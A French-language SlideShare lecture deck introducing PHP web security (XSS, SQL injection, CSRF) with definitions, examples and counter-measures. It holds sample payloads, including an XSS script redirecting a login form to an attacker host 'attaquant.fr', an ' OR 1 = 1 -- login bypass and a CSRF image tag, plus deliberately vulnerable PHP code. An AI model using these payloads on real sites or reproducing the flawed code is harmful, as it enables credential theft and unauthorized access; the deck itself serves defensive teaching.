SlideShare une entreprise Scribd logo
1  sur  23
Télécharger pour lire hors ligne
Introduction à la Sécurité des 
             Applications Web / PHP
       Principes de bases   Maxime Mauchaussée
       XSS
       Injection SQL
                             maxime@wixiweb.fr
       CSRF
                             @maximemdotnet
                             http://www.wixiweb.fr
                             @wixiweb

                         
Plan
       Principes de bases de sécurisations
       Failles de type XSS
           Définition
           Exemples / Exploitation
           Contre­mesures
       Failles de type SQL Injection
           Définition
           Exemples / Exploitation
           Contre­mesures
       Failles de type CSRF
           Définition
           Exemples / Exploitation
           Contre­mesures
       Conclusion

                                
Principes de bases

       Ne jamais faire confiance aux données ne provenant pas de 
        votre propre code
           Paramètres d'URL, cookies, données de formulaire, etc.
           API, fichier d'import, base de données, etc.
           Variables d'environnement (user agent, referer, host, etc.)
       Éviter de permettre la saisie de balises HTML
           L'utilisation de la balise <img> doit être extrêmement encadrée
           Interdire l'utilisation des attributs dangereux tels que « style » et 
            « onload »
       Ne jamais minimiser l'importance d'une faille
           Toutes failles peut potentiellement être un jour exploitée
           Corriger le plus rapidement possible toute faille découverte



                                  
Failles de type XSS ­ Définition

       XSS : Cross Site Scripting

       Le principe est d'injecter des données arbitraires dans un 
        site web [...] Si ces données arrivent telles quelles dans la page 
        web transmise au navigateur sans avoir été vérifiées, alors il 
        existe une faille [Wikipedia]

       Injection de code HTML ou Javascript 

       Le contenu injecté est utilisé pour pièger un utilisateur



                             
Failles de type XSS – Exemple basique

       Exemple de site web banal :




                           
Failles de type XSS – Exemple basique

Fichier de vue PHP :
<form action="recherche.php" method="get">
<input type="text" name="q" value="<?php echo $_GET['q']; ?>" />
<input type="submit" value="recherche" />
</form>


Données saisies et envoyées au serveur :
"/><script type="text/javascript">alert('faille xss')</script><"


HTML compromis retourné par le serveur :
<input type="text" name="q" value=""/><script
type="text/javascript">alert('faille xss')</script><"" />




                        
Failles de type XSS – Exemple basique

       « PAF ! Pastèque ! » :




                            
Failles de type XSS – Exploitations

       Dégradation de l'image / la réputation du site

       Redirection automatique

       Initialisation de téléchargement de fichiers vérolés

       Vol d'identifiants

       Détournement de session (hijacking)

       Fixation de session


                               
Failles de type XSS – Exemples d'exploit

       Détournement de l'attribut « action » du formulaire 
        d'authentification par injection :

"/><script>document.forms[0].action='http://attaquant.fr/owned.php
';</script><"


       Les utilisateurs enverront leurs identifiants vers le scripts défini 
        par l'attaquant

       Possibilité de redirection (parfois transparente) vers la page 
        légitime


                              
Failles de type XSS – Contre­mesures

       Filtrer / nettoyer les données en entrée :
           Toute donnée a un format : longueur, bornes, etc.

           filter_var() ou filter_input()

           strip_tags() en second choix

           Ne pas autoriser la saisie de balises HTML

       Et en sortie :
           htmlspecialchars()




                                   
Failles de type SQL Injection ­ Définition

       Injection SQL

       Terme qui désigne l'interprétation imprévue d'un code SQL 
        dans une application. Ce code a été introduit par une voie 
        détournée. [CERTA]




                           
Failles de type SQL Injection – Exemple

       Bypass de l'authentification :




                             
Failles de type SQL Injection – Exemple

       Code PHP :
mysql_query("SELECT id, login, profil FROM user WHERE login = '" .
$_POST['login'] . "' AND password = '" . $_POST['password'] .
"';");

       Données saisies dans le champ « login » :
' OR 1 = 1 --

       Interpretation de la requête SQL par PHP :
SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --'
AND password = ''




                            
Failles de type SQL Injection ­ Exploitation

       Cette technique permet, [...] à un utilisateur malveillant de 
        modifier la base de données, ou accéder à des informations qui 
        ne lui sont pas destinées. [CERTA]

       Privilege escalation – augmentation de droit d'accès

       Vols de données

       Destruction de données

       Injection de code malveillant

                             
Failles de type SQL Injection – Contre­mesures

       addslashes()
SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --'
AND password = ''


       mysql_real_escape_string()

       Requêtes préparées

       Requêtes préparées > mysql_real_escape_string > addslashes

       Ne pas utiliser le compte SQL « root » pour votre application


                            
Failles de type CSRF ­ Définition

       Cross­Site Request Forgery

       Injection de requêtes illégitimes par rebond [CERTA]

       Attaque provoquant l'envoi de requêtes par la victime, vers un 
        site vulnérable, à son insu et en son nom. [CERTA]

       N'exploite pas forcément l'absence de validation




                            
Failles de type CSRF – Exemple basique

       Système de commentaires :




                          
Failles de type CSRF – Exemple

       Un lien est fournit pour supprimer un de ses commentaires :
http://sitemalfichu.fr/delete_comment?id=2

       Prédiction de l'identifiant du commentaire de la victime par 
        l'attaquant :
http://sitemalfichu.fr/delete_comment?id=1


       Insertion d'une balise image dans un commentaire par 
        l'attaquant :
<img src="http://sitemalfichu.fr/delete_comment?id=1" />

        Au chargement de la page par la victime, elle supprime son 
        commentaire

                             
Failles de type CSRF – Exploitation

       Suppression de données : message, compte utilisateur, etc.

       Publication de messages : désinformation, spam, virus, etc.

       Changement de mot de passe

       Changement d'adresse email

       Triche à des concours ou sondages




                            
Failles de type CSRF – Contre­mesures

       Utiliser la méthode HTTP POST

       Bannir l'utilisation de $_REQUEST

       Mettre en place un système de tokens pour les actions les 
        plus sensibles

       Interdire la possibilité de saisie de balises HTML




                             
Conclusion

       Ne jamais faire confiance aux données ne provenant pas de 
        votre propre code

       Toute donnée a un format : longeur, bornes, volume, etc.

       Toujours filtrer / nettoyer ces données en entrée et en sortie

       Corriger les failles le plus rapidement possible

       La sécurité des applications web ne s'arrête pas là : 
        configuration de PHP, du serveur web, de l'infrastructure 
        réseau, etc. 
                             
Questions ­ Réponses

       Exemples de questions si vous n'avez pas d'idée :

           Comment détecter de telles failles dans mon application ?

           Pouvez­vous citer d'autres exemples d'attaques XSS / CSRF ?

           Quelles autres bonne pratiques peut on appliquer pour sécuriser des 
            application web ?

           Qu'est ce qu'une « blind sql injection » ?

           Où trouvez des informations complémentaires à ce sujet ?

           Existe­t­il d'autres types de failles ?


                                  
Merci de votre attention :)

       Contact :
           maxime@wixiweb.fr
           https://twitter.com/maximemdotnet
           https://identi.ca/maximemdotnet
           http://www.wixiweb.fr/




                                

Contenu connexe

Tendances

Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Asma Messaoudi
 
Durcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative WebDurcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative WebCyrille Grandval
 
Presentation des failles_de_securite
Presentation des failles_de_securitePresentation des failles_de_securite
Presentation des failles_de_securiteBorni Dhifi
 
Les principales failles de sécurité des applications Web actuelles
Les principales failles de sécurité des applications Web actuellesLes principales failles de sécurité des applications Web actuelles
Les principales failles de sécurité des applications Web actuellesXavier Kress
 
Sécurité des applications Web
Sécurité des applications WebSécurité des applications Web
Sécurité des applications WebSylvain Maret
 
Securité des applications web
Securité des applications webSecurité des applications web
Securité des applications webMarcel TCHOULEGHEU
 
Webinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme ThéméeWebinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme ThéméeMarie Tapia
 
Présentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonPrésentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonSébastien GIORIA
 
Les principales failles de sécurité des applications web actuelles
Les principales failles de sécurité des applications web actuellesLes principales failles de sécurité des applications web actuelles
Les principales failles de sécurité des applications web actuellesBee_Ware
 
Sécurité des web services soap
Sécurité des web services soapSécurité des web services soap
Sécurité des web services soapZakaria SMAHI
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouseSébastien GIORIA
 
Les menaces applicatives
Les menaces applicativesLes menaces applicatives
Les menaces applicativesBee_Ware
 
Les 5 risques les plus critiques des applications Web selon l'OWASP
Les 5 risques les plus critiques des applications Web selon l'OWASPLes 5 risques les plus critiques des applications Web selon l'OWASP
Les 5 risques les plus critiques des applications Web selon l'OWASPyaboukir
 
Sécuriser mes applications avec ZF2
Sécuriser mes applications avec ZF2Sécuriser mes applications avec ZF2
Sécuriser mes applications avec ZF2Cyrille Grandval
 
White paper - La sécurisation des web services
White paper - La sécurisation des web servicesWhite paper - La sécurisation des web services
White paper - La sécurisation des web servicesBee_Ware
 
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan MarcilASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan MarcilCyber Security Alliance
 
Sécurisation des Web Services SOAP contre les attaques par injection par la m...
Sécurisation des Web Services SOAP contre les attaques par injection par la m...Sécurisation des Web Services SOAP contre les attaques par injection par la m...
Sécurisation des Web Services SOAP contre les attaques par injection par la m...Zakaria SMAHI
 

Tendances (20)

Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02
 
Durcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative WebDurcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative Web
 
Presentation des failles_de_securite
Presentation des failles_de_securitePresentation des failles_de_securite
Presentation des failles_de_securite
 
Les principales failles de sécurité des applications Web actuelles
Les principales failles de sécurité des applications Web actuellesLes principales failles de sécurité des applications Web actuelles
Les principales failles de sécurité des applications Web actuelles
 
Sécurité des applications Web
Sécurité des applications WebSécurité des applications Web
Sécurité des applications Web
 
Securité des applications web
Securité des applications webSecurité des applications web
Securité des applications web
 
Webinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme ThéméeWebinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme Thémée
 
Securite web is_ima
Securite web is_imaSecurite web is_ima
Securite web is_ima
 
Sécurité des applications web
Sécurité des applications webSécurité des applications web
Sécurité des applications web
 
Présentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonPrésentation Top10 CEGID Lyon
Présentation Top10 CEGID Lyon
 
La sécurité et php
La sécurité et phpLa sécurité et php
La sécurité et php
 
Les principales failles de sécurité des applications web actuelles
Les principales failles de sécurité des applications web actuellesLes principales failles de sécurité des applications web actuelles
Les principales failles de sécurité des applications web actuelles
 
Sécurité des web services soap
Sécurité des web services soapSécurité des web services soap
Sécurité des web services soap
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouse
 
Les menaces applicatives
Les menaces applicativesLes menaces applicatives
Les menaces applicatives
 
Les 5 risques les plus critiques des applications Web selon l'OWASP
Les 5 risques les plus critiques des applications Web selon l'OWASPLes 5 risques les plus critiques des applications Web selon l'OWASP
Les 5 risques les plus critiques des applications Web selon l'OWASP
 
Sécuriser mes applications avec ZF2
Sécuriser mes applications avec ZF2Sécuriser mes applications avec ZF2
Sécuriser mes applications avec ZF2
 
White paper - La sécurisation des web services
White paper - La sécurisation des web servicesWhite paper - La sécurisation des web services
White paper - La sécurisation des web services
 
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan MarcilASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
 
Sécurisation des Web Services SOAP contre les attaques par injection par la m...
Sécurisation des Web Services SOAP contre les attaques par injection par la m...Sécurisation des Web Services SOAP contre les attaques par injection par la m...
Sécurisation des Web Services SOAP contre les attaques par injection par la m...
 

En vedette

SQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationSQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationRapid Purple
 
Guide de securite php
Guide de securite phpGuide de securite php
Guide de securite phpbelfkih
 
Recetriohipervinculo 1 im_joanasosa
Recetriohipervinculo 1 im_joanasosaRecetriohipervinculo 1 im_joanasosa
Recetriohipervinculo 1 im_joanasosaantonio12345h
 
Rapport de Sécurité Check Point 2016
Rapport de Sécurité Check Point 2016Rapport de Sécurité Check Point 2016
Rapport de Sécurité Check Point 2016Blandine Delaporte
 
Les Français et la relation homme machine
Les Français et la relation homme machineLes Français et la relation homme machine
Les Français et la relation homme machineIpsos France
 
Organisation type-contrôleinterne
Organisation type-contrôleinterneOrganisation type-contrôleinterne
Organisation type-contrôleinterneAZOUZ HASNAOUI
 
Cours php & Mysql - 5éme partie
Cours php & Mysql - 5éme partieCours php & Mysql - 5éme partie
Cours php & Mysql - 5éme partiekadzaki
 
Ingénierie de la sécurité incendie
Ingénierie de la sécurité incendieIngénierie de la sécurité incendie
Ingénierie de la sécurité incendieProfesseur Falloul
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injectionashish20012
 
La prevention des risques machines
La prevention des risques machinesLa prevention des risques machines
La prevention des risques machineschokri SOLTANI
 
La demarche de prevention des risques machines
 La demarche de prevention des risques machines La demarche de prevention des risques machines
La demarche de prevention des risques machineschokri SOLTANI
 
Présentation atelier tubes&co
Présentation atelier tubes&coPrésentation atelier tubes&co
Présentation atelier tubes&coSens&co
 
Atelier Lean Startup : Théorie et Pratique
Atelier Lean Startup : Théorie et PratiqueAtelier Lean Startup : Théorie et Pratique
Atelier Lean Startup : Théorie et PratiqueSébastien Sacard
 
Types of sql injection attacks
Types of sql injection attacksTypes of sql injection attacks
Types of sql injection attacksRespa Peter
 

En vedette (20)

SQL Injection
SQL Injection SQL Injection
SQL Injection
 
SQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationSQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint Presentation
 
SQL 2014 et la gestion de la sécurité
SQL 2014 et la gestion de la sécurité SQL 2014 et la gestion de la sécurité
SQL 2014 et la gestion de la sécurité
 
Sql injection
Sql injectionSql injection
Sql injection
 
Guide de securite php
Guide de securite phpGuide de securite php
Guide de securite php
 
Recetriohipervinculo 1 im_joanasosa
Recetriohipervinculo 1 im_joanasosaRecetriohipervinculo 1 im_joanasosa
Recetriohipervinculo 1 im_joanasosa
 
Rapport de Sécurité Check Point 2016
Rapport de Sécurité Check Point 2016Rapport de Sécurité Check Point 2016
Rapport de Sécurité Check Point 2016
 
Les Français et la relation homme machine
Les Français et la relation homme machineLes Français et la relation homme machine
Les Français et la relation homme machine
 
Réseaux de neurones
Réseaux de neurones Réseaux de neurones
Réseaux de neurones
 
Organisation type-contrôleinterne
Organisation type-contrôleinterneOrganisation type-contrôleinterne
Organisation type-contrôleinterne
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
Cours php & Mysql - 5éme partie
Cours php & Mysql - 5éme partieCours php & Mysql - 5éme partie
Cours php & Mysql - 5éme partie
 
Ingénierie de la sécurité incendie
Ingénierie de la sécurité incendieIngénierie de la sécurité incendie
Ingénierie de la sécurité incendie
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injection
 
La prevention des risques machines
La prevention des risques machinesLa prevention des risques machines
La prevention des risques machines
 
La demarche de prevention des risques machines
 La demarche de prevention des risques machines La demarche de prevention des risques machines
La demarche de prevention des risques machines
 
Présentation atelier tubes&co
Présentation atelier tubes&coPrésentation atelier tubes&co
Présentation atelier tubes&co
 
Atelier Lean Startup : Théorie et Pratique
Atelier Lean Startup : Théorie et PratiqueAtelier Lean Startup : Théorie et Pratique
Atelier Lean Startup : Théorie et Pratique
 
Types of sql injection attacks
Types of sql injection attacksTypes of sql injection attacks
Types of sql injection attacks
 
Atelier projet urbain
Atelier  projet urbain Atelier  projet urbain
Atelier projet urbain
 

Similaire à Introduction à la sécurité des applications web avec php [fr]

Failles de sécurité Web et Symfony
Failles de sécurité Web et SymfonyFailles de sécurité Web et Symfony
Failles de sécurité Web et SymfonyChamalaine Soufi
 
Sécurité des Applications WEB -LEVEL1
 Sécurité des Applications WEB-LEVEL1 Sécurité des Applications WEB-LEVEL1
Sécurité des Applications WEB -LEVEL1Tarek MOHAMED
 
Epitech securite-2012.key
Epitech securite-2012.keyEpitech securite-2012.key
Epitech securite-2012.keyDamien Seguy
 
20090929 04 - Securité applicative, hacking et risque applicatif
20090929 04 - Securité applicative, hacking et risque applicatif20090929 04 - Securité applicative, hacking et risque applicatif
20090929 04 - Securité applicative, hacking et risque applicatifLeClubQualiteLogicielle
 
Tuto atelier securisation_site_web
Tuto atelier securisation_site_webTuto atelier securisation_site_web
Tuto atelier securisation_site_websahar dridi
 
Attaques Informatiques
Attaques InformatiquesAttaques Informatiques
Attaques InformatiquesSylvain Maret
 
Introduction à La Sécurité Informatique 1/2
Introduction à La Sécurité Informatique 1/2Introduction à La Sécurité Informatique 1/2
Introduction à La Sécurité Informatique 1/2Sylvain Maret
 
Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)Aymeric Lagier
 
ASFWS 2011 - L’importance du protocole HTTP dans la menace APT
ASFWS 2011 - L’importance du protocole HTTP dans la menace APTASFWS 2011 - L’importance du protocole HTTP dans la menace APT
ASFWS 2011 - L’importance du protocole HTTP dans la menace APTCyber Security Alliance
 
Introduction à La Sécurité Informatique 2/2
Introduction à La Sécurité Informatique 2/2Introduction à La Sécurité Informatique 2/2
Introduction à La Sécurité Informatique 2/2Sylvain Maret
 
Bonnes pratiques anti-DDOS
Bonnes pratiques anti-DDOSBonnes pratiques anti-DDOS
Bonnes pratiques anti-DDOSJulien SIMON
 
Wbm12 formation-webmaster-expert-securite-des-applications-web
Wbm12 formation-webmaster-expert-securite-des-applications-webWbm12 formation-webmaster-expert-securite-des-applications-web
Wbm12 formation-webmaster-expert-securite-des-applications-webCERTyou Formation
 
14.4 tout ce que vous voulez savoir sur l'authentification par revendications
14.4   tout ce que vous voulez savoir sur l'authentification par revendications14.4   tout ce que vous voulez savoir sur l'authentification par revendications
14.4 tout ce que vous voulez savoir sur l'authentification par revendicationsNicolas Georgeault
 
Vous avez dit protocoles Web d'authentification et d'autorisation ! De quoi p...
Vous avez dit protocoles Web d'authentification et d'autorisation ! De quoi p...Vous avez dit protocoles Web d'authentification et d'autorisation ! De quoi p...
Vous avez dit protocoles Web d'authentification et d'autorisation ! De quoi p...Philippe Beraud
 

Similaire à Introduction à la sécurité des applications web avec php [fr] (20)

Sécurité des Applications Web avec Json Web Token (JWT)
Sécurité des Applications Web avec Json Web Token (JWT)Sécurité des Applications Web avec Json Web Token (JWT)
Sécurité des Applications Web avec Json Web Token (JWT)
 
Failles de sécurité Web et Symfony
Failles de sécurité Web et SymfonyFailles de sécurité Web et Symfony
Failles de sécurité Web et Symfony
 
Sécurité des Applications WEB -LEVEL1
 Sécurité des Applications WEB-LEVEL1 Sécurité des Applications WEB-LEVEL1
Sécurité des Applications WEB -LEVEL1
 
La Sécurité Sur Le Web
La Sécurité Sur Le WebLa Sécurité Sur Le Web
La Sécurité Sur Le Web
 
Epitech securite-2012.key
Epitech securite-2012.keyEpitech securite-2012.key
Epitech securite-2012.key
 
20090929 04 - Securité applicative, hacking et risque applicatif
20090929 04 - Securité applicative, hacking et risque applicatif20090929 04 - Securité applicative, hacking et risque applicatif
20090929 04 - Securité applicative, hacking et risque applicatif
 
Tuto atelier securisation_site_web
Tuto atelier securisation_site_webTuto atelier securisation_site_web
Tuto atelier securisation_site_web
 
Sécuriser un cms
Sécuriser un cms Sécuriser un cms
Sécuriser un cms
 
Attaques Informatiques
Attaques InformatiquesAttaques Informatiques
Attaques Informatiques
 
Introduction à La Sécurité Informatique 1/2
Introduction à La Sécurité Informatique 1/2Introduction à La Sécurité Informatique 1/2
Introduction à La Sécurité Informatique 1/2
 
Introduction XSS
Introduction XSSIntroduction XSS
Introduction XSS
 
Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)
 
OWASP TOP 10 Proactive
OWASP TOP 10 ProactiveOWASP TOP 10 Proactive
OWASP TOP 10 Proactive
 
ASFWS 2011 - L’importance du protocole HTTP dans la menace APT
ASFWS 2011 - L’importance du protocole HTTP dans la menace APTASFWS 2011 - L’importance du protocole HTTP dans la menace APT
ASFWS 2011 - L’importance du protocole HTTP dans la menace APT
 
Introduction à La Sécurité Informatique 2/2
Introduction à La Sécurité Informatique 2/2Introduction à La Sécurité Informatique 2/2
Introduction à La Sécurité Informatique 2/2
 
Bonnes pratiques anti-DDOS
Bonnes pratiques anti-DDOSBonnes pratiques anti-DDOS
Bonnes pratiques anti-DDOS
 
Wbm12 formation-webmaster-expert-securite-des-applications-web
Wbm12 formation-webmaster-expert-securite-des-applications-webWbm12 formation-webmaster-expert-securite-des-applications-web
Wbm12 formation-webmaster-expert-securite-des-applications-web
 
14.4 tout ce que vous voulez savoir sur l'authentification par revendications
14.4   tout ce que vous voulez savoir sur l'authentification par revendications14.4   tout ce que vous voulez savoir sur l'authentification par revendications
14.4 tout ce que vous voulez savoir sur l'authentification par revendications
 
SSL strip
SSL stripSSL strip
SSL strip
 
Vous avez dit protocoles Web d'authentification et d'autorisation ! De quoi p...
Vous avez dit protocoles Web d'authentification et d'autorisation ! De quoi p...Vous avez dit protocoles Web d'authentification et d'autorisation ! De quoi p...
Vous avez dit protocoles Web d'authentification et d'autorisation ! De quoi p...
 

Introduction à la sécurité des applications web avec php [fr]

  • 1. Introduction à la Sécurité des  Applications Web / PHP  Principes de bases Maxime Mauchaussée  XSS  Injection SQL maxime@wixiweb.fr  CSRF @maximemdotnet http://www.wixiweb.fr @wixiweb    
  • 2. Plan  Principes de bases de sécurisations  Failles de type XSS  Définition  Exemples / Exploitation  Contre­mesures  Failles de type SQL Injection  Définition  Exemples / Exploitation  Contre­mesures  Failles de type CSRF  Définition  Exemples / Exploitation  Contre­mesures  Conclusion    
  • 3. Principes de bases  Ne jamais faire confiance aux données ne provenant pas de  votre propre code  Paramètres d'URL, cookies, données de formulaire, etc.  API, fichier d'import, base de données, etc.  Variables d'environnement (user agent, referer, host, etc.)  Éviter de permettre la saisie de balises HTML  L'utilisation de la balise <img> doit être extrêmement encadrée  Interdire l'utilisation des attributs dangereux tels que « style » et  « onload »  Ne jamais minimiser l'importance d'une faille  Toutes failles peut potentiellement être un jour exploitée  Corriger le plus rapidement possible toute faille découverte    
  • 4. Failles de type XSS ­ Définition  XSS : Cross Site Scripting  Le principe est d'injecter des données arbitraires dans un  site web [...] Si ces données arrivent telles quelles dans la page  web transmise au navigateur sans avoir été vérifiées, alors il  existe une faille [Wikipedia]  Injection de code HTML ou Javascript   Le contenu injecté est utilisé pour pièger un utilisateur    
  • 5. Failles de type XSS – Exemple basique  Exemple de site web banal :    
  • 6. Failles de type XSS – Exemple basique Fichier de vue PHP : <form action="recherche.php" method="get"> <input type="text" name="q" value="<?php echo $_GET['q']; ?>" /> <input type="submit" value="recherche" /> </form> Données saisies et envoyées au serveur : "/><script type="text/javascript">alert('faille xss')</script><" HTML compromis retourné par le serveur : <input type="text" name="q" value=""/><script type="text/javascript">alert('faille xss')</script><"" />    
  • 7. Failles de type XSS – Exemple basique  « PAF ! Pastèque ! » :    
  • 8. Failles de type XSS – Exploitations  Dégradation de l'image / la réputation du site  Redirection automatique  Initialisation de téléchargement de fichiers vérolés  Vol d'identifiants  Détournement de session (hijacking)  Fixation de session    
  • 9. Failles de type XSS – Exemples d'exploit  Détournement de l'attribut « action » du formulaire  d'authentification par injection : "/><script>document.forms[0].action='http://attaquant.fr/owned.php ';</script><"  Les utilisateurs enverront leurs identifiants vers le scripts défini  par l'attaquant  Possibilité de redirection (parfois transparente) vers la page  légitime    
  • 10. Failles de type XSS – Contre­mesures  Filtrer / nettoyer les données en entrée :  Toute donnée a un format : longueur, bornes, etc.  filter_var() ou filter_input()  strip_tags() en second choix  Ne pas autoriser la saisie de balises HTML  Et en sortie :  htmlspecialchars()    
  • 11. Failles de type SQL Injection ­ Définition  Injection SQL  Terme qui désigne l'interprétation imprévue d'un code SQL  dans une application. Ce code a été introduit par une voie  détournée. [CERTA]    
  • 12. Failles de type SQL Injection – Exemple  Bypass de l'authentification :    
  • 13. Failles de type SQL Injection – Exemple  Code PHP : mysql_query("SELECT id, login, profil FROM user WHERE login = '" . $_POST['login'] . "' AND password = '" . $_POST['password'] . "';");  Données saisies dans le champ « login » : ' OR 1 = 1 --  Interpretation de la requête SQL par PHP : SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --' AND password = ''    
  • 14. Failles de type SQL Injection ­ Exploitation  Cette technique permet, [...] à un utilisateur malveillant de  modifier la base de données, ou accéder à des informations qui  ne lui sont pas destinées. [CERTA]  Privilege escalation – augmentation de droit d'accès  Vols de données  Destruction de données  Injection de code malveillant    
  • 15. Failles de type SQL Injection – Contre­mesures  addslashes() SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --' AND password = ''  mysql_real_escape_string()  Requêtes préparées  Requêtes préparées > mysql_real_escape_string > addslashes  Ne pas utiliser le compte SQL « root » pour votre application    
  • 16. Failles de type CSRF ­ Définition  Cross­Site Request Forgery  Injection de requêtes illégitimes par rebond [CERTA]  Attaque provoquant l'envoi de requêtes par la victime, vers un  site vulnérable, à son insu et en son nom. [CERTA]  N'exploite pas forcément l'absence de validation    
  • 17. Failles de type CSRF – Exemple basique  Système de commentaires :    
  • 18. Failles de type CSRF – Exemple  Un lien est fournit pour supprimer un de ses commentaires : http://sitemalfichu.fr/delete_comment?id=2  Prédiction de l'identifiant du commentaire de la victime par  l'attaquant : http://sitemalfichu.fr/delete_comment?id=1  Insertion d'une balise image dans un commentaire par  l'attaquant : <img src="http://sitemalfichu.fr/delete_comment?id=1" />   Au chargement de la page par la victime, elle supprime son  commentaire    
  • 19. Failles de type CSRF – Exploitation  Suppression de données : message, compte utilisateur, etc.  Publication de messages : désinformation, spam, virus, etc.  Changement de mot de passe  Changement d'adresse email  Triche à des concours ou sondages    
  • 20. Failles de type CSRF – Contre­mesures  Utiliser la méthode HTTP POST  Bannir l'utilisation de $_REQUEST  Mettre en place un système de tokens pour les actions les  plus sensibles  Interdire la possibilité de saisie de balises HTML    
  • 21. Conclusion  Ne jamais faire confiance aux données ne provenant pas de  votre propre code  Toute donnée a un format : longeur, bornes, volume, etc.  Toujours filtrer / nettoyer ces données en entrée et en sortie  Corriger les failles le plus rapidement possible  La sécurité des applications web ne s'arrête pas là :  configuration de PHP, du serveur web, de l'infrastructure  réseau, etc.     
  • 22. Questions ­ Réponses  Exemples de questions si vous n'avez pas d'idée :  Comment détecter de telles failles dans mon application ?  Pouvez­vous citer d'autres exemples d'attaques XSS / CSRF ?  Quelles autres bonne pratiques peut on appliquer pour sécuriser des  application web ?  Qu'est ce qu'une « blind sql injection » ?  Où trouvez des informations complémentaires à ce sujet ?  Existe­t­il d'autres types de failles ?    
  • 23. Merci de votre attention :)  Contact :  maxime@wixiweb.fr  https://twitter.com/maximemdotnet  https://identi.ca/maximemdotnet  http://www.wixiweb.fr/